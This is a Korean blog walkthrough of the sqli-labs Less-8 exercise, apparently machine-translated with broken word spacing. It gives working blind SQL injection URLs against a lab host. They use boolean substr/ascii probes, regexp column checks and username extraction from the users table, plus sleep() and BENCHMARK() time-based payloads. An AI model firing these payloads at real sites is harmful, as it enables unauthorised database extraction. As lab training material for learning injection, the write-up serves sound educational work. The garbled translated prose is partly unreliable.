Sqli - labs Less 08 불 형 sql 블라인드 - GET
5434 단어 웹 보안
SQLi 블 로그 디 렉 터 리
Less - 08: GET - Blind - Boolian Based - Single Quotas
http://10.10.10.137/sqli-labs/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
를 추가 하여 version () 을 살 펴 보 세 요. 데이터베이스 의 버 전 번 호 는 5.6.17 입 니 다. 여기 서 문 구 는 버 전 번호 의 첫 번 째 가 5 인지 아 닌 지 를 보고 명확 하 게 돌아 온 결과 가 정확 하 다 는 뜻 입 니 다.버 전 번호 가 정확 하지 않 을 때 you are in 을 정확하게 표시 할 수 없습니다. 다음 에 데이터 뱅 크 의 길이 http://10.10.10.137/sqli-labs/Less-8/?id=1'and length(database())=8--+
가 8 일 때 정확 한 결 과 를 되 돌려 줍 니 다. 길 이 는 8 입 니 다. 데이터 뱅 크 1 위 http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),1)>'a'--+
Database () 가 security 일 것 이 라 고 추측 합 니 다. 그래서 우 리 는 그의 첫 번 째 가 > a 인지 아 닌 지 를 봅 니 다. 분명 한 것 은 s > a 이기 때문에 정확 한 것 으로 돌아 갑 니 다.우리 가 모 르 는 상황 에서 이분법 으로 주입 의 효율 을 높 일 수 있다.데이터베이스 2 위 는 1 위 가 s 라 는 것 을 알 게 되 었 습 니 다. 우 리 는 앞의 두 사람 이 sa http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),2)>'sa'--+
보다 결과 > sd 를 얻 었 는 지 를 보 았 습 니 다. 그러나 > se 에서 오류 가 발생 한 것 은 앞의 두 사람 이 se 가 데이터베이스 2 위 http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),3)>'seb'--+
에서 결 과 를 얻 었 는 지 추측 하 는 것 입 니 다. 그러나 > sec 에서 오류 가 발생 한 것 은 앞의 세 사람 이 sec ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
상기 데이터베이스 이름 이 security 라 는 것 을 알 게 되면 저 희 는 이 방식 으로 security 데이터베이스 에 있 는 표를 가 져 옵 니 다.추측 표 의 첫 번 째 http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--
는 substr (* *, 1, 1) 를 사용 합 니 다. 첫 번 째 문자 길이 P: 여기 tableschema 는 = 'security' 라 고 쓸 수 있 지만 우리 가 사용 하 는 database () 는 여기 database () 가 security 이기 때 문 입 니 다.테스트 가 정확 할 때 까지 이분법 으로 테스트 합 니 다.첫 번 째 는 이메일 을 표시 하기 때문에 101 일 것 입 니 다.이상 은 > 100 시 에 정상적으로 표시 되 지만 > 101 시 에 오류 가 표 시 됩 니 다. 이 는 ASCII 101 에 대응 하 는 알파벳 e 추측 표 의 두 번 째 http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+
는 substr (* *, 2, 1) 를 사용 하고 두 번 째 문자 의 길 이 는 > 108 시 에 정상적으로 표시 되 지만 > 109 시 에 오류 가 표 시 됩 니 다.이 분 은 ASCII 109 에 대응 하 는 알파벳 m 입 니 다. 두 번 째 시 계 는 어떻게 얻 나 요?여기 서 우리 가 상술 한 문구 에서 사용 하 는 limit 0, 1 을 볼 수 있다. 즉, 0 번 부터 첫 번 째 를 얻 는 것 이다.두 번 째 는 limit 1, 1 http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+
이 고 두 번 째 는 referers 표 입 니 다. 첫 번 째 는 r 이상 이 > 113 일 때 정상적으로 표시 되 지만 > 114 일 때 오류 가 발생 한 것 은 ASCII 114 에 대응 하 는 알파벳 r http://10.10.10.137/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
을 가 져 올 때 users 표 의 열 이름 에 us * * 열 http://10.10.10.137/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
이 있 는 지 선택 하면 위의 그림 에서 username 이 존재 하 는 것 을 볼 수 있 습 니 다.우 리 는 username 을 password 등 다른 항목 으로 바 꿀 수 있 습 니 다. http://10.10.10.137/sqli-labs/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
을 가 져 옵 니 다. users 표 의 내용 을 가 져 옵 니 다.username 의 첫 줄 의 첫 번 째 문 자 를 가 져 오 는 ascii 는 68 과 비교 하면 D 입 니 다.우 리 는 표 에서 첫 줄 의 데 이 터 를 Dumb 로 알 게 되 었 다.그 러 니 이제 바퀴 만 다시 만 들 면 됩 니 다.요약: 상기 (1) (2) (3) (4) 우 리 는 서로 다른 문 구 를 사용 하여 불 맹 주 SQL 의 모든 payload 를 통 해 보 여 주 었 다.인 스 턴 스 를 통 해 sql 불 블라인드 문 구 를 더욱 잘 이해 할 수 있 을 것 입 니 다. echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
코드 에서 오류 메 시 지 를 주 시 했 기 때문에 오류 주입 http://10.10.10.137/sqli-labs/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
을 사용 할 수 없습니다. 오류 주입 을 사용 할 수 있다 면 user () 로 바로 돌아 갈 수 있 지만 여 기 는 돌아 오지 않 았 습 니 다. http://10.10.10.137/sqli-labs/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
오류 가 발생 했 을 때 5 초 지연 된다.BENCHMARK () 를 이용 한 지연 주입 http://10.10.10.137/sqli-labs/Less-8/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
결과 가 올 바 를 때 ENCODE ('MSG', 'by 5 seconds') 를 5 천만 회 실행 하면 시간 이 걸 립 니 다.다른 payload 는 less 5 를 참고 하여 직접 주입 합 니 다.이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
django 출력 html 내용최근에 django를 배웠기 때문에 django로 간단한 사이트를 만들었습니다. 연습을 하는데 구체적인 기능은 인터넷에서 데이터를 캡처해서 제 사이트에 올리는 것입니다. 그런데 문제가 하나 생겼습니다. 바로 djan...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.